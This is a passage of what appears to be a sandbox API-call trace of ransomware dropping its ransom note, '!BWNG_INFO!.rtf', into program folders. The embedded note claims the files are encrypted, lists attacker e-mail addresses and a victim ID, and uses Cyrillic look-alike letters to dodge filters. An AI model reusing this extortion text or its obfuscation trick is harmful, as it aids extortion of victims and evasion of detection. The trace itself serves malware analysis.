t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.489] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.492] CloseHandle (hObject=0x1d4) returned 1 [0040.492] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\!bwng_info!.rtf")) returned 0xffffffff [0040.492] GetLastError () returned 0x2 [0040.492] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 